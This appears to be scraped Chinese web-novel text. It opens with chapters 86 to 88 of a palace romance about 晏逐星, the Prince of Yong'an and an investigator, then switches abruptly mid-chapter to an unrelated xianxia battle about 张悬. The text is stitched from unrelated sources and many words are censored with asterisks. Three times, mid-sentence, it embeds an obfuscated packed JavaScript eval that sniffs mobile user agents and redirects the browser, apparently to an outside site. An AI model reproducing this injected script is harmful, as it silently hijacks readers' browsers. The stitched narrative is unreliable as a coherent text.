“前几日,王爷命我和停云去了醉花楼,让我们看看那夜是否遗漏了东西。”照夜听出了她的试探,没有隐瞒,压低声音给了她暗示。 衔蝉心头“咯噔”一跳。 “然后呢?”她忍不住追问。 “没有落下任何东西,因为王爷本来就没去过醉花楼。”照夜盯着她的眼眸,意有所指。 衔蝉顿时会意:“好了,不和你说了,粥该糊了。” 她晃了晃手中的簪子,冲他展颜一笑:“劳烦你走这一趟啦。谢谢。” 说罢她便快步回了玉澜院。 角门关闭,照夜离开。 盯着他们的人,也离开了。 衔蝉见到晏逐星,立刻把先前的对话一五一十的全说了出来。 晏逐星瞬间就领悟了照夜的言外之意。 谢翊宁知道了那夜是她动的手,非但没跟刑部和大理寺检举她,反而还替她善后了。 她瞬间紧张了起来。 谢翊宁三番五次地帮她,当真只是为了报恩么。 他究竟想要什么呢? 他让贴身护卫来说这么一番话,是敲打她日后收敛些,还是让她明日去请罪? 晏逐星脑海里一瞬间闪过了无数的念头。 “小姐?”见她脸色不好,衔蝉心下有些不安。 晏逐星回过神来,冲她露出了一抹笑。 “没事,明日多做些腊八粥。我给国公府送完之后,便去施粥。永安王那边,你也替我送一份过去吧。” “是。”衔蝉点头应下了。 * “大人,永安王的护卫去了侯府,在角门与侯府大小姐的丫鬟相会,先给了她一支银簪,又给了她一支金簪。”裴明镜派去的护卫第一时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15657535|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间将这个消息传了回来。 “只不过他们说话声音很低,我并未听到他们说了什么。” 裴明镜若有所思。 他一直觉得永安王对晏逐星不一般,上回让郑晗盯着他不敢,他干脆就让自己的护卫去盯着了。 如今看来,他猜得果然没错。 两人私下确实关系匪浅。 银簪是赏赐给婢女的,金簪恐怕就是给晏逐星的了。 金簪赠佳人,结发许同心。 永安王命人给晏逐星送去金簪,含义不言而喻。 他对晏逐星竟然已经到了非卿不娶的地步么。 可晏逐星这样的身世和名声,帝后会同意永安王娶她为正妃么? 裴明镜觉得不可能。 但想到永安王的性子,他忽然又有些不确定了。 依照永安王的性子,他若非要娶,恐怕帝后也拗不过他,只有同意的份。 可他过不了两年就要没命了,晏逐星攀高枝选他,真是目光短浅。 完全没有考虑过以后。 急功近利、心机叵测。 他在心底给晏逐星下了判定。 想到先前他还维护过她,被她可怜兮兮的模样骗过。 他心里对晏逐星的厌恶忍不住增加了几分。 “继续盯着她。”裴明镜当即吩咐下去。 护卫离开后,裴明镜看着**的证词,陷入了沉思。 昨夜,昭瑞亲王府来人见了管家**一面。 今日,**便改了口。 只说是王素娥在王府里帮工时,他色迷心窍,起了不该有的心思,被王素娥拒绝后,恼羞成怒,**,灭了王家满门。 他将一切的罪名都揽到了自己头上,半句不利于谢锦程的话都没说。 这样下去,恐怕这桩案子也就到此为止了。 他疲惫地闭上了眼睛。 脑海里不由闪过了晏逐星的脸。 和上一次一样,他总觉得这桩案件的突破口,应该在她身上。 第86章 三十还未嫁 只是他把卷宗翻来覆去地看了几十遍,又去醉花楼现场查了好几回,都没找到和晏逐星有关的证据。 有时候他也会怀疑是不是自己想多了。 但他相信自己的直觉。 于是裴明镜下定了决心。 在结案之前,他要多多和晏逐星接触,一定要从她那里撬出真相。 * 腊月初八,宜祈福、求嗣,忌入宅、嫁娶。 晏逐星早早地就起身去了小厨房煮腊八粥。 因为晏明修的事情,定远侯府乱成了一团。没有人提醒,当家主母的温如霜根本想不起今日已经是腊八。 晏逐星亲自给定远侯送了一碗腊八粥,定远侯这才惊觉今日已经是腊月初八。 而侯府里丝毫没有过节的热闹气息,一片死气沉沉。 定远侯心情有些糟糕。 晏逐星开口道:“父亲,女儿打算命人熬制一些腊八粥,待会到城外去给百姓施粥。近来府中多事,权当是为咱们家祈福了。您意下如何?” 定远侯满意地看着她:“星儿有心了。” 这段时间,侯府上上下下确实有些不顺。 给百姓施粥积攒功德,说不定能化解侯府这些坎坷。 他叫来管家,吩咐道:“给大小姐支三百两银子,备好施粥所需。” 晏逐星笑着称赞:“父亲大义。届时百姓们定会感念您这份恩德,颂扬侯府仁德,皇上若是知晓,想必也会夸赞您品行仁善堪为百官之首。” 这一席话说得定远侯是眉目舒展,心花怒放,当场又给晏逐星加了二百两银子。 晏逐星自然不会推脱。 收下银子,她便命人将昨日就采买好的食材拿去熬煮腊八粥。 而她先去了一趟烈国公府。 “妹妹。”看到她,尉迟敦开开心心地跑了过来,手里还抱着她送的那个布老虎。 “哥哥,当心,莫要摔了。”晏逐星赶忙拦住他。 “不会摔,我厉害着呢!”尉迟敦骄傲地扬起了下巴,随后又神秘兮兮地凑到她耳边,“昨日我还钓到鱼了呢。” “有那么大!”他虚空比划了一下,那鱼至少得有半臂长。 “哇,哥哥好厉害,竟然能钓那么大的鱼。”晏逐星丝毫不吝啬自己的夸奖,脸上满是崇拜。 一旁的丫鬟嘴角抽了抽。 那鱼是国公爷特意命人跳到湖里,撬开鱼嘴让它咬钩的。 不然世子爷一坐就是一天,谁受得了啊。 “那是,爹爹还给我烤了鱼,香喷喷的。哎呀。忘了给妹妹留了。”尉迟敦懊恼地挠了挠头。 “没关系,今日腊八,我给哥哥送了腊八粥。”晏逐星笑着牵着他进了花厅。 烈国公夫妇得知她要来,早早就等着了。 令晏逐星没想到的是,屋子里还有一个看起来约莫三十出头的妇人,看着有些面生。 且她梳的竟还是未嫁女儿家的发式。 见她目光略带疑惑。 烈国公夫人拉着她的手,给她介绍道:“这是你义父的小表妹,姓骆。你同敦儿一样唤她表姑就好。” “见过表姑。”晏逐星乖巧行礼。 骆文缨点点头,给了她一个镯子当见面礼。 晏逐星将煮好的腊八粥让丫鬟送了上来。 “这是我亲手做的,你们尝尝。” “那我们可得好好尝尝了。”二老笑容满面。 尉迟敦乖乖在旁边喝粥,喝到一半,他端起一碗新的粥站了起来。 “敦儿,你去哪呀?”烈国公夫人赶忙叫住他。 “妹妹也要。”尉迟敦一本正经地回答声。 “妹妹不是在这吗?”烈国公夫人指向了晏逐星。 “不是这个妹妹。”尉迟敦摇了摇头,“这是星儿妹妹。” 随后他低头看向了手中的腊八粥。 “这是给晞儿妹妹的。” 一句话让烈国公夫妇都愣住了。 见他们好像还不明白,尉迟敦认真地解释了起来: “星儿妹妹说晞儿妹妹去了很远的地方,等我长大了,她就会回来看我了。她说,不要认错人,要一直记得晞儿。不然晞儿会伤心的。” 烈国公夫人听到这话,当场就掉下了眼泪。 “哥哥快去吧,腊八粥冷了可就不好吃了。晞儿妹妹若是收到了你送的腊八粥,肯定很开心。”晏逐星笑着看向了尉迟敦。 “嗯!”尉迟敦重重点头,开心地捧着腊八粥送到了尉迟晞的牌位前。 未嫁人又没及笄的女子,算是夭折,不得入祠堂。 但烈国公夫妇心疼女儿,便将她生前住的院落保留了。在屋内设了一个小的灵堂,逢年过节祭拜女儿。 尉迟敦正是要去那里探望妹妹。 他跟着丫鬟离开后,烈国公已经替夫人擦掉了眼泪。 烈国公夫人紧握住晏逐星的手:“星儿,多谢你。” 若不是星儿一直给敦儿看女儿的画像,不厌其烦地跟他说了那么多道理,恐怕敦儿早就把自己的亲妹妹给忘记了。 “都是一家人,干娘不必和我道谢。”晏逐星赶忙宽慰她,随后又将自己打算去城外施粥的事情说了。 烈国公夫人猛地一拍脑袋:“哎呀,我怎么把这事给忘了。那我们也去吧。就当给敦儿攒些功德,盼他岁岁平安。” “都听夫人的。”烈国公自然不会有任何的意见。 一旁的骆文缨看向晏逐星的目光也多了一丝温和。 这小姑娘,倒是善良。 不似她以为的那种攀龙附凤之人。 “我现在就去准备吧,待会和表嫂一块去施粥。”骆文缨开口。 “那当然好呀。”烈国公夫人笑呵呵地应下。 骆文缨起身后,烈国公也去找儿子了,屋内只剩下了烈国公夫人和晏逐星。 烈国公夫人关心地询问了她在侯府的近况,得知她一切都好,便放心下来。 说着说着,她转头聊起了骆文缨。 晏逐星立刻竖起耳朵听起来。 毕竟她确实有些好奇,骆文缨三十出头了,为何还是未嫁之身。 “文缨比你义父小了十八岁,我嫁过来时,她才那么大点。”烈国公夫人比划了起来。 “她自小和霍家长子定了娃娃亲。” “哪个霍家?”晏逐星心下一动。 “就是镇守边关的霍问霍将军的长子霍开昀。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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晏大小姐是那种会让人欺负的性子么? “是大小姐感念王爷恩德,亲手做了,让衔蝉送回来的。”照夜只得完完整整地把话说清楚。 谢翊宁听到这话,努了努嘴,示意照夜把粥盛出来他尝一口。 他一边吃一边询问道:“那她怎么不亲自送来。” 照夜:“她去给烈国公府送了。” “哐当”一声响。 谢翊宁把勺子扔回了碗里。 什么意思,她亲自给烈国公府送,结果他这边竟然就让衔蝉送来打发了? “怎么,她是觉得本王对她的恩德,不如烈国公府的大?” 他心里莫名有些不高兴了。 还是停云懂他,赶忙道:“王爷,您是为她做了那么多,您没说,人家也不知道呀。咱做了好事,必须得留名。” “本王岂是那种沽名钓誉之人。不过是些小事罢了,有什么好说的。”谢翊宁哼了一声。 “对您来说是小事,对晏大小姐来说可就未必了。听说她今日要在城外施粥,不如您亲自问问去?”停云提议。 照夜一脸惊讶地看着他,这小子转性了? 竟然还会撮合王爷和晏大小姐了。 第87章 不是私会么 停云回了他一个眼神:识时务者为俊杰。 他早就不是当初的他了! 如今,他和王爷一条心。 王爷为了晏大小姐,不仅找了裴大人的麻烦,甚至连她伤了谢世孙命根子之事都能包庇。 这份心意堪比磐石。 王爷分明是铁了心要护她。 都这份上了,他还犟什么,识相点赶紧听王爷的得了。 王爷说晏大小姐是好人,那她就是好人! “本王是这么小气的人么,有什么好问的。”谢翊宁像是想起了什么,重新拿起勺子继续吃剩下的腊八粥。 吃完后转头就吩咐了管家准备施粥的东西。 照夜、停云:…… 王爷真是一如既往地嘴硬。 * 晏逐星抵达城外时,施粥的队伍已经排成了长龙。 百姓们一见她的车驾,呼啦啦跪倒一片,你一言我一语地高喊:“谢晏大小姐施粥之恩!” “大小姐,您真是救苦救难的活菩萨啊。” 感恩声道谢声此起彼伏。 晏逐星忙摆手示意他们安静:“我的一片小小心意罢了。大家好好排队,莫要推搡。今日腊八,都过个好节。” 她简单的一句话却让不少百姓红了眼眶。 侯府的腊八粥都加了糖,吃起来甜丝丝的。而且分量很足,实打实的一碗粥,不像往日里别的贵人那般,施的粥就是在水里找米,有些甚至还掺了细碎的石子。 如今侯府一碗粥入肚,他们都能吃得饱饱的,整个人都暖和了。 裴明镜得知定远侯府派人到城外施粥,猜测晏逐星一定会来。 果不其然,他在这等了两刻钟,她果然来了。 他坐在不远处的马车里,远远地盯着晏逐星。 她替换了婢女,亲自给百姓们盛粥。 百姓们没想到侯府千金竟然愿意给自己亲自盛粥,都受宠若惊,又感恩戴德,一连说了好几句多谢。 “不用谢,天寒地冻的,领了粥,早日回家去吧。”她笑意盈盈地将粥递给了下一个人。 低头一看,发现等着施粥的是一个小姑娘。 身上穿着灰黑色漏风的小袄,红通通的小脸上横着几道冻裂的口子,还淌着鼻涕,看着可怜极了。 “仙女姐姐,我可以多要一份吗?”她怯生生地开口询问。 “每人一份,不能坏了规矩哦。”晏逐星摇头拒绝。 “可是我阿娘刚生了妹妹,太冷了,她起不来,妹妹也不能来。”小姑娘扁扁嘴,吸了吸鼻涕,快哭了出来。 “那你阿爹和爷奶呢?”一旁的双鲤忍不住问道。 “阿爹**,爷奶说我们是赔钱货,不要我们……”小姑娘垂下了头。 双鲤愕然,顿时有些窘迫了起来。 她没想到会戳中小姑娘的伤心事。 她看向了晏逐星:“大小姐,她这么可怜,要不就多给她盛一份吧。” “凭什么呀,不是说好排队一人一份的么。” “就是就是,那这样我是不是也能给我瘫痪在床的老娘多领一份……” 后边立刻有人不满了。 走向人群的裴明镜听到骚乱,顿住了脚步。 他也想听晏逐星会怎么回答。 晏逐星见小姑娘鼻涕都快掉到碗里了,她掏出帕子,替她温柔地擦掉。 小姑娘顿时鼓起勇气看向她。 没想到,听到的确是拒绝了。 “不行哦。”晏逐星将帕子塞到了她手里。 “规矩就是规矩。若人人都找借口要多盛一碗,这施粥的队伍不得乱套了。” 听到她的话,小姑娘脸上顿时出现了失落的表情。 但她懂事的没有纠缠,接过晏逐星递来的腊八粥,说了一声谢谢就抹着眼泪离开了。 晏逐星将勺子交给了双鲤,扭头附耳对九栀说了几句话。 “九栀,你带一碗粥去,送她回家。若她所言属实,晚些回了侯府,挑些下人们旧了的衣裳,送去给她们。” 九栀点头应下,单独盛了一碗粥离去。 裴明镜正要走过来跟晏逐星打招呼,就听到了一阵惊呼声。 “永安王来了。” 百姓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15663540|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们齐刷刷地跪下行礼。 “参见永安王。” 谢翊宁掀开车帘,走了下来,冲百姓们指向了西南方位。 “不必多礼。今日腊八,王府施粥在另一处,排队即可,每人一份。” “多谢王爷。”百姓们乐开了花,没想到今日竟然能得那么多善人施粥。 如今天气冷,粥就算放上两日也不会坏。 这些贵人们可是替他们节省了几日的粮食啊! 裴明镜看到谢翊宁的那一刻,恍然大悟。 他说为什么晏逐星好端端的忽然施粥,原来是想扭转名声,顺便和永安**明正大地见面。 她可真是不放过任何一个能接触权贵的机会啊。 裴明镜唇角泛起一丝冷笑。 谢翊宁没想着什么避嫌不避嫌的,他直接走到了晏逐星身侧。 晏逐星忙冲他行礼:“臣女参见永安王。” “不必拘礼。”谢翊宁用折扇轻轻将她胳膊抬起。 “多谢王爷。”晏逐星礼仪姿态摆得端端正正,让人挑不出毛病。 她说完这句话后,谢翊宁没有开口,晏逐星也摸不准他这是什么意思,于是也没有开口。 两人就这么沉默着谁也没说话。 谢翊宁用眼角余光偷偷瞥了她一眼。 她今日特意让衔蝉送腊八粥来,不是遇上困难要他帮忙的意思么? 怎么他都主动过来了,她还不吭声。 晏逐星也在心里嘀咕。 永安王忽然来找她是什么意思。 难不成是今日她没有亲自去永安王府道谢,他不高兴了? 她现在应该说点什么? 沉默。 依旧是无尽的沉默。 不远处的裴明镜都有些看不明白了。 这两人不是来私会么,怎么一言不发地站这儿吹冷风,到底要做什么? 最后还是谢翊宁没憋住先开了口。 “此地风大,不如到马车上歇着吧。” 他想,或许是此地人多,小恩人不方便开口。 到马车上,没了外人,或许她就敢跟他说话了。 第88章 被王爷误会 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 